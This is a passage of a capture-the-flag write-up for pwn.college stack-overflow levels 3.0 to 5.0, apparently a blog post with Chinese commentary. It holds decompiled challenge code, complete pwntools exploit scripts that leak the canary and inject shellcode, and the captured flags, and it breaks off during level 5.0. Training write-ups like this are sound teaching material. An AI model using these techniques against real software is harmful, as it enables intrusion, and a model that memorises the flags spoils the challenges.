&lt;p&gt;Flag: &lt;code&gt;pwn.college{IF2KSArBx1ONOOxBvejSZ5gUqc0.0lMyMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 3.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write a full exploit involving injecting shellcode and a method of tricking the challenge into executing it by utilizing clever payload construction.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3)
{
  int *v3; // rax
  char *v4; // rax
  __int64 v6; // [rsp+0h] [rbp-B0h] BYREF
  __int64 v7; // [rsp+8h] [rbp-A8h]
  __int64 v8; // [rsp+10h] [rbp-A0h]
  unsigned int v9; // [rsp+1Ch] [rbp-94h]
  int v10; // [rsp+2Ch] [rbp-84h]
  size_t nbytes; // [rsp+30h] [rbp-80h] BYREF
  void *buf; // [rsp+38h] [rbp-78h]
  _QWORD v13[11]; // [rsp+40h] [rbp-70h] BYREF
  int v14; // [rsp+98h] [rbp-18h]
  char v15; // [rsp+9Ch] [rbp-14h]
  unsigned __int64 v16; // [rsp+A8h] [rbp-8h]
  __int64 savedregs; // [rsp+B0h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+B8h] [rbp+8h] BYREF

  v9 = a1;
  v8 = a2;
  v7 = a3;
  v16 = __readfsqword(0x28u);
  memset(v13, 0, sizeof(v13));
  v14 = 0;
  v15 = 0;
  buf = v13;
  nbytes = 0LL;
  puts(&quot;The challenge() function has just been launched!&quot;);
  sp_ = (__int64)&amp;amp;v6;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)&amp;amp;v6) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(&quot;Before we do anything, let&apos;s take a look at challenge()&apos;s stack frame:&quot;);
  DUMP_STACK(sp_, sz_);
  printf(&quot;Our stack pointer points to %p, and our base pointer points to %p.\n&quot;, (const void *)sp_, (const void *)bp_);
  printf(&quot;This means that we have (decimal) %d 8-byte words in our stack frame,\n&quot;, sz_);
  puts(&quot;including the saved base pointer and the saved return address, for a&quot;);
  printf(&quot;total of %d bytes.\n&quot;, 8 * sz_);
  printf(&quot;The input buffer begins at %p, partway through the stack frame,\n&quot;, buf);
  puts(&quot;(\&quot;above\&quot; it in the stack are other local variables used by the function).&quot;);
  puts(&quot;Your input will be read into this buffer.&quot;);
  printf(&quot;The buffer is %d bytes long, but the program will let you provide an arbitrarily\n&quot;, 93);
  puts(&quot;large input length, and thus overflow the buffer.\n&quot;);
  puts(&quot;We have disabled the following standard memory corruption mitigations for this challenge:&quot;);
  puts(&quot;- the stack is executable. This means that if the stack contains shellcode&quot;);
  puts(&quot;and you overwrite the return address with the address of that shellcode, it will execute.\n&quot;);
  cp_ = bp_;
  cv_ = __readfsqword(0x28u);
  while ( *(_QWORD *)cp_ != cv_ )
    cp_ -= 8LL;
  printf(&quot;Payload size: &quot;);
  __isoc99_scanf(&quot;%lu&quot;, &amp;amp;nbytes);
  printf(&quot;You have chosen to send %lu bytes of input!\n&quot;, nbytes);
  printf(&quot;This will allow you to write from %p (the start of the input buffer)\n&quot;, buf);
  printf(
    &quot;right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n&quot;,
    (char *)buf + nbytes,
    nbytes - 93);
  printf(&quot;Send your payload (up to %lu bytes)!\n&quot;, nbytes);
  v10 = read(0, buf, nbytes);
  if ( v10 &amp;lt; 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v4);
    exit(1);
  }
  printf(&quot;You sent %d bytes!\n&quot;, v10);
  puts(&quot;Let&apos;s see what happened with the stack:\n&quot;);
  DUMP_STACK(sp_, sz_);
  puts(&quot;The program&apos;s memory status:&quot;);
  printf(&quot;- the input buffer starts at %p\n&quot;, buf);
  printf(&quot;- the saved frame pointer (of main) is at %p\n&quot;, (const void *)bp_);
  printf(&quot;- the saved return address (previously to main) is at %p\n&quot;, (const void *)rp_);
  printf(&quot;- the saved return address is now pointing to %p.\n&quot;, *(const void **)rp_);
  printf(&quot;- the canary is stored at %p.\n&quot;, (const void *)cp_);
  printf(&quot;- the canary value is now %p.\n&quot;, *(const void **)cp_);
  putchar(10);
  printf(&quot;You said: %s\n&quot;, (const char *)buf);
  puts(&quot;This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()&quot;);
  puts(&quot;call to see the hidden backdoor!&quot;);
  if ( strstr((const char *)buf, &quot;REPEAT&quot;) )
  {
    puts(&quot;Backdoor triggered! Repeating challenge()&quot;);
    return challenge(v9, v8, v7);
  }
  else
  {
    puts(&quot;Goodbye!&quot;);
    return 0LL;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;具体怎么打这题的话，我觉得光靠之前的 Memory Errors 和 Shellcode Injection 这两章学到的知识应该还不够打通这题。主要问题出在如何返回到我们的 shellcode。这题本身是有 ASLR 的，每次栈地址都不一样。程序唯一的一个 RWX 段又是我们的栈段，所以……我们的 shellcode 只能放在栈上，那么怎么知道栈的地址呢？泄漏应该是泄漏不出来的，没有格式化字符串漏洞。Nop Sled 感觉也不太行？我没试过，但是脑子里面简单过了一遍感觉不太可能吧。唯有构造 ROP Chain 我觉得是可以的，不过如果真构建 ROP Chain 了那我还要什么 shellcode 啊哈哈哈。所以有很大可能就是这题想考的技巧我没想到&amp;lt;s&amp;gt;&lt;em&gt;（也不排除就是需要用 ROP Chain 也说不准）&lt;/em&gt;&amp;lt;/s&amp;gt; ，反正这里就先只贴个反编译结果了，要是哪位师傅有想法的话欢迎在底下评论。我先去打 ROP 了，打完之后再回头继续打这章～&lt;/p&gt;
&lt;p&gt;~&lt;em&gt;反正别告诉我你要通过程序的回显来打……应该没这样的人吧……你要真通过回显打通了，那 3.1 你怎么办是吧哈哈哈。总之看回显很没意思，丧失了本来的意义。&lt;/em&gt;~&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;过了十分钟……&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;好的知道了，果然是我没想到……其实 rbp 也可以被泄漏出来不是吗，用它减去输入起始地址，我们发现偏移是一样的，那构造 shellcode 的时候我们就用泄漏出来的 rbp 减去得到的偏移地址，这就是返回地址了。然后，boom!&lt;/p&gt;
&lt;p&gt;boom 个鸟，忘记触发后门后再次调用 challenge 会创建新的栈帧了。不过这两个栈帧一定是紧挨着的，所以我们的思路还是这样，这没问题。只不过计算的时候注意是用第一个栈帧的 rbp 减去第二个栈帧的输入起始地址罢了。~&lt;em&gt;（我就说我这么完美的 payload 怎么可能会打不通，果然是忘了什么……Alr, boom!）&lt;/em&gt;~&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    asm,
    context,
    gdb,
    log,
    os,
    p64,
    process,
    remote,
    shellcraft,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./toddlerone-level-3-0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;

backdoor = b&quot;REPEAT &quot;
padding_size = 0x68
backdoor_trigger = b&quot;&quot;.ljust(padding_size - len(backdoor) + 1, b&quot;A&quot;) + backdoor
trigger_length = str(len(backdoor_trigger))
padding_to_ret = b&quot;&quot;.ljust(0x8, b&quot;A&quot;)
fixed_offset = 0x1170


def to_hex_bytes(data):
    return &quot;&quot;.join(f&quot;\\x{byte:02x}&quot; for byte in data)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def leak_data(target):
    try:
        target.sendlineafter(b&quot;Payload size: &quot;, trigger_length)
        send_payload(target, backdoor_trigger)
        target.recvuntil(backdoor)

        canary = b&quot;\x00&quot; + target.recv(0x7)
        rbp = target.recv(0x6)
        log.success(f&quot;Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}&quot;)

        return [canary, rbp]
    except Exception as e:
        log.exception(f&quot;An error occurred while leaking canary: {e}&quot;)


def construct_payload(target, padding_size):
    canary, rbp = leak_data(target)
    rbp = int.from_bytes(rbp, &quot;little&quot;)

    ret_addr = rbp - fixed_offset

    shellcode = asm(shellcraft.chmod(&quot;f&quot;, 0o4))
    shellcode_length = len(shellcode)
    shellcode += b&quot;&quot;.ljust(padding_size - shellcode_length, b&quot;A&quot;)
    shellcode += canary
    shellcode += padding_to_ret
    shellcode += p64(ret_addr)

    return shellcode


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag f&quot;)

        payload_size = f&quot;{len(payload)}&quot;.encode()
        target.sendlineafter(b&quot;Payload size: &quot;, payload_size)

        target.recvuntil(b&quot;Send your payload&quot;)
        send_payload(target, payload)
        target.recvall(timeout=5)

        try:
            with open(&quot;./f&quot;, &quot;r&quot;) as file:
                content = file.read()

                log.success(content)
                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;./f&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;./f&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload(target, padding_size)

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{IDpfJ24swVO_Q0TAY9ajONzKHTe.01MyMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 3.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write a full exploit involving injecting shellcode and a method of tricking the challenge into executing it by utilizing clever payload construction.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-30&quot;&gt;Level 3.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    asm,
    context,
    gdb,
    log,
    os,
    p64,
    process,
    remote,
    shellcraft,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./toddlerone-level-3-1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;

backdoor = b&quot;REPEAT &quot;
padding_size = 0x58
backdoor_trigger = b&quot;&quot;.ljust(padding_size - len(backdoor) + 1, b&quot;A&quot;) + backdoor
trigger_length = str(len(backdoor_trigger))
padding_to_ret = b&quot;&quot;.ljust(0x8, b&quot;A&quot;)
fixed_offset = 0x1150


def to_hex_bytes(data):
    return &quot;&quot;.join(f&quot;\\x{byte:02x}&quot; for byte in data)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def leak_data(target):
    try:
        target.sendlineafter(b&quot;Payload size: &quot;, trigger_length)
        send_payload(target, backdoor_trigger)
        target.recvuntil(backdoor)

        canary = b&quot;\x00&quot; + target.recv(0x7)
        rbp = target.recv(0x6)
        log.success(f&quot;Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}&quot;)

        return [canary, rbp]
    except Exception as e:
        log.exception(f&quot;An error occurred while leaking canary: {e}&quot;)


def construct_payload(target, padding_size):
    canary, rbp = leak_data(target)
    rbp = int.from_bytes(rbp, &quot;little&quot;)

    ret_addr = rbp - fixed_offset

    shellcode = asm(shellcraft.chmod(&quot;f&quot;, 0o4))
    shellcode_length = len(shellcode)
    shellcode += b&quot;&quot;.ljust(padding_size - shellcode_length, b&quot;A&quot;)
    shellcode += canary
    shellcode += padding_to_ret
    shellcode += p64(ret_addr)

    return shellcode


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag f&quot;)

        payload_size = f&quot;{len(payload)}&quot;.encode()
        target.sendlineafter(b&quot;Payload size: &quot;, payload_size)

        target.recvuntil(b&quot;Send your payload&quot;)
        send_payload(target, payload)
        target.recvall(timeout=5)

        try:
            with open(&quot;./f&quot;, &quot;r&quot;) as file:
                content = file.read()

                log.success(content)
                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;./f&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;./f&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload(target, padding_size)

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{w1Gz9LGRK9kmwUD7TZnA3xcKN5j.0FNyMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 4.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write a full exploit involving injecting shellcode, reverse engineering, and a method of tricking the challenge into executing your payload.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3)
{
  int *v3; // rax
  char *v4; // rax
  __int64 v6; // [rsp+0h] [rbp-A0h] BYREF
  __int64 v7; // [rsp+8h] [rbp-98h]
  __int64 v8; // [rsp+10h] [rbp-90h]
  unsigned int v9; // [rsp+1Ch] [rbp-84h]
  int v10; // [rsp+2Ch] [rbp-74h]
  size_t nbytes; // [rsp+30h] [rbp-70h] BYREF
  void *buf; // [rsp+38h] [rbp-68h]
  _QWORD v13[9]; // [rsp+40h] [rbp-60h] BYREF
  __int64 v14; // [rsp+88h] [rbp-18h]
  unsigned __int64 v15; // [rsp+98h] [rbp-8h]
  __int64 savedregs; // [rsp+A0h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+A8h] [rbp+8h] BYREF

  v9 = a1;
  v8 = a2;
  v7 = a3;
  v15 = __readfsqword(0x28u);
  memset(v13, 0, sizeof(v13));
  v14 = 0LL;
  buf = v13;
  nbytes = 0LL;
  puts(&quot;The challenge() function has just been launched!&quot;);
  sp_ = (__int64)&amp;amp;v6;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)&amp;amp;v6) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(&quot;Before we do anything, let&apos;s take a look at challenge()&apos;s stack frame:&quot;);
  DUMP_STACK(sp_, sz_);
  printf(&quot;Our stack pointer points to %p, and our base pointer points to %p.\n&quot;, (const void *)sp_, (const void *)bp_);
  printf(&quot;This means that we have (decimal) %d 8-byte words in our stack frame,\n&quot;, sz_);
  puts(&quot;including the saved base pointer and the saved return address, for a&quot;);
  printf(&quot;total of %d bytes.\n&quot;, 8 * sz_);
  printf(&quot;The input buffer begins at %p, partway through the stack frame,\n&quot;, buf);
  puts(&quot;(\&quot;above\&quot; it in the stack are other local variables used by the function).&quot;);
  puts(&quot;Your input will be read into this buffer.&quot;);
  printf(&quot;The buffer is %d bytes long, but the program will let you provide an arbitrarily\n&quot;, 70);
  puts(&quot;large input length, and thus overflow the buffer.\n&quot;);
  puts(&quot;We have disabled the following standard memory corruption mitigations for this challenge:&quot;);
  puts(&quot;- the stack is executable. This means that if the stack contains shellcode&quot;);
  puts(&quot;and you overwrite the return address with the address of that shellcode, it will execute.\n&quot;);
  cp_ = bp_;
  cv_ = __readfsqword(0x28u);
  while ( *(_QWORD *)cp_ != cv_ )
    cp_ -= 8LL;
  printf(&quot;Payload size: &quot;);
  __isoc99_scanf(&quot;%lu&quot;, &amp;amp;nbytes);
  printf(&quot;You have chosen to send %lu bytes of input!\n&quot;, nbytes);
  printf(&quot;This will allow you to write from %p (the start of the input buffer)\n&quot;, buf);
  printf(
    &quot;right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n&quot;,
    (char *)buf + nbytes,
    nbytes - 70);
  printf(&quot;Send your payload (up to %lu bytes)!\n&quot;, nbytes);
  v10 = read(0, buf, nbytes);
  if ( v10 &amp;lt; 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v4);
    exit(1);
  }
  printf(&quot;You sent %d bytes!\n&quot;, v10);
  puts(&quot;Let&apos;s see what happened with the stack:\n&quot;);
  DUMP_STACK(sp_, sz_);
  puts(&quot;The program&apos;s memory status:&quot;);
  printf(&quot;- the input buffer starts at %p\n&quot;, buf);
  printf(&quot;- the saved frame pointer (of main) is at %p\n&quot;, (const void *)bp_);
  printf(&quot;- the saved return address (previously to main) is at %p\n&quot;, (const void *)rp_);
  printf(&quot;- the saved return address is now pointing to %p.\n&quot;, *(const void **)rp_);
  printf(&quot;- the canary is stored at %p.\n&quot;, (const void *)cp_);
  printf(&quot;- the canary value is now %p.\n&quot;, *(const void **)cp_);
  putchar(10);
  printf(&quot;You said: %s\n&quot;, (const char *)buf);
  puts(&quot;This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()&quot;);
  puts(&quot;call to see the hidden backdoor!&quot;);
  if ( strstr((const char *)buf, &quot;REPEAT&quot;) )
  {
    puts(&quot;Backdoor triggered! Repeating challenge()&quot;);
    return challenge(v9, v8, v7);
  }
  else
  {
    puts(&quot;Goodbye!&quot;);
    puts(&quot;This challenge will, by default, exit() instead of returning from the&quot;);
    puts(&quot;challenge function. When a process exit()s, it ceases to exist immediately,&quot;);
    puts(&quot;and no amount of overwritten return addresses will let you hijack its control&quot;);
    puts(&quot;flow. You will have to reverse engineer the program to understand how to avoid&quot;);
    puts(&quot;making this challenge exit(), and allow it to return normally.&quot;);
    if ( v14 != 0x49954B5EFDCB2A29LL )
    {
      puts(&quot;exit() condition triggered. Exiting!&quot;);
      exit(42);
    }
    puts(&quot;exit() condition avoided! Continuing execution.&quot;);
    return 0LL;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很简单吧，令 &lt;code&gt;v14 == 0x49954B5EFDCB2A29&lt;/code&gt; 才可以返回到我们的 shellcode。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    asm,
    context,
    gdb,
    log,
    os,
    p64,
    process,
    remote,
    shellcraft,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./toddlerone-level-4-0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;

backdoor = b&quot;REPEAT &quot;
padding_size = 0x58
padding_to_v14_size = 0x48
backdoor_trigger = b&quot;&quot;.ljust(padding_size - len(backdoor) + 1, b&quot;A&quot;) + backdoor
trigger_length = str(len(backdoor_trigger))
padding_to_canary = b&quot;&quot;.ljust(0x8, b&quot;A&quot;)
padding_to_ret = b&quot;&quot;.ljust(0x8, b&quot;A&quot;)
v14 = p64(0x49954B5EFDCB2A29)
fixed_offset = 0x1150


def to_hex_bytes(data):
    return &quot;&quot;.join(f&quot;\\x{byte:02x}&quot; for byte in data)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def leak_data(target):
    try:
        target.sendlineafter(b&quot;Payload size: &quot;, trigger_length)
        send_payload(target, backdoor_trigger)
        target.recvuntil(backdoor)

        canary = b&quot;\x00&quot; + target.recv(0x7)
        rbp = target.recv(0x6)
        log.success(f&quot;Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}&quot;)

        return [canary, rbp]
    except Exception as e:
        log.exception(f&quot;An error occurred while leaking canary: {e}&quot;)


def construct_payload(target):
    canary, rbp = leak_data(target)
    rbp = int.from_bytes(rbp, &quot;little&quot;)

    ret_addr = rbp - fixed_offset

    shellcode = asm(shellcraft.chmod(&quot;f&quot;, 0o4))
    shellcode_length = len(shellcode)
    shellcode += b&quot;&quot;.ljust(padding_to_v14_size - shellcode_length, b&quot;A&quot;)
    shellcode += v14
    shellcode += padding_to_canary
    shellcode += canary
    shellcode += padding_to_ret
    shellcode += p64(ret_addr)

    return shellcode


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag f&quot;)

        payload_size = f&quot;{len(payload)}&quot;.encode()
        target.sendlineafter(b&quot;Payload size: &quot;, payload_size)

        target.recvuntil(b&quot;Send your payload&quot;)
        send_payload(target, payload)
        response = target.recvall(timeout=5)
        log.debug(response.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;))

        try:
            with open(&quot;./f&quot;, &quot;r&quot;) as file:
                content = file.read()

                log.success(content)
                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;./f&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;./f&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload(target)

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{ECpb0UATZ-UymShuFolh7qzxgrx.0VNyMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 4.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write a full exploit involving injecting shellcode, reverse engineering, and a method of tricking the challenge into executing your payload.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-40&quot;&gt;Level 4.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    asm,
    context,
    gdb,
    log,
    os,
    p64,
    process,
    remote,
    shellcraft,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./toddlerone-level-4-1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;

backdoor = b&quot;REPEAT &quot;
padding_size = 0x58
padding_to_v14_size = 0x50
backdoor_trigger = b&quot;&quot;.ljust(padding_size - len(backdoor) + 1, b&quot;A&quot;) + backdoor
trigger_length = str(len(backdoor_trigger))
padding_to_ret = b&quot;&quot;.ljust(0x8, b&quot;A&quot;)
v14 = p64(0x736E2B681CA77DD2)
fixed_offset = 0x1150


def to_hex_bytes(data):
    return &quot;&quot;.join(f&quot;\\x{byte:02x}&quot; for byte in data)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def leak_data(target):
    try:
        target.sendlineafter(b&quot;Payload size: &quot;, trigger_length)
        send_payload(target, backdoor_trigger)
        target.recvuntil(backdoor)

        canary = b&quot;\x00&quot; + target.recv(0x7)
        rbp = target.recv(0x6)
        log.success(f&quot;Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}&quot;)

        return [canary, rbp]
    except Exception as e:
        log.exception(f&quot;An error occurred while leaking canary: {e}&quot;)


def construct_payload(target):
    canary, rbp = leak_data(target)
    rbp = int.from_bytes(rbp, &quot;little&quot;)

    ret_addr = rbp - fixed_offset

    shellcode = asm(shellcraft.chmod(&quot;f&quot;, 0o4))
    shellcode_length = len(shellcode)
    shellcode += b&quot;&quot;.ljust(padding_to_v14_size - shellcode_length, b&quot;A&quot;)
    shellcode += v14
    shellcode += canary
    shellcode += padding_to_ret
    shellcode += p64(ret_addr)

    return shellcode


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag f&quot;)

        payload_size = f&quot;{len(payload)}&quot;.encode()
        target.sendlineafter(b&quot;Payload size: &quot;, payload_size)

        target.recvuntil(b&quot;Send your payload&quot;)
        send_payload(target, payload)
        response = target.recvall(timeout=5)
        log.debug(response.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;))

        try:
            with open(&quot;./f&quot;, &quot;r&quot;) as file:
                content = file.read()

                log.success(content)
                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;./f&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;./f&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload(target)

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{UiJc7-6JI988NELrbF-uNpbwc-X.0lNyMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 5.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write a full exploit involving injecting shellcode, reverse engineering, seccomp, and a method of tricking the challenge into executing your payload.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3)
{
  int *v3; // rax
  char *v4; // rax
  unsigned int v6; // ebx
  const char *v7; // rax
  __int64 v8; // [rsp+0h] [rbp-E0h] BYREF
  __int64 v9; // [rsp+8h] [rbp-D8h]
  __int64 v10; // [rsp+10h] [rbp-D0h]
  unsigned int v11; // [rsp+1Ch] [rbp-C4h]
  int i; // [rsp+28h] [rbp-B8h]
  int v13; // [rsp+2Ch] [rbp-B4h]
  size_t nbytes; // [rsp+30h] [rbp-B0h] BYREF
  void *buf; // [rsp+38h] [rbp-A8h]
  _QWORD *v16; // [rsp+40h] [rbp-A0h]
  __int64 v17; // [rsp+48h] [rbp-98h]
  _QWORD v18[18]; // [rsp+50h] [rbp-90h] BYREF
  __int64 savedregs; // [rsp+E0h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+E8h] [rbp+8h] BYREF

  v11 = a1;
  v10 = a2;
  v9 = a3;
  v18[15] = __readfsqword(0x28u);
  memset(v18, 0, 0x78uLL);
  buf = v18;
  v16 = &amp;amp;v18[14];
  nbytes = 0LL;
  v18[14] = 0xE700000001LL;
  puts(&quot;The challenge() function has just been launched!&quot;);
  sp_ = (__int64)&amp;amp;v8;
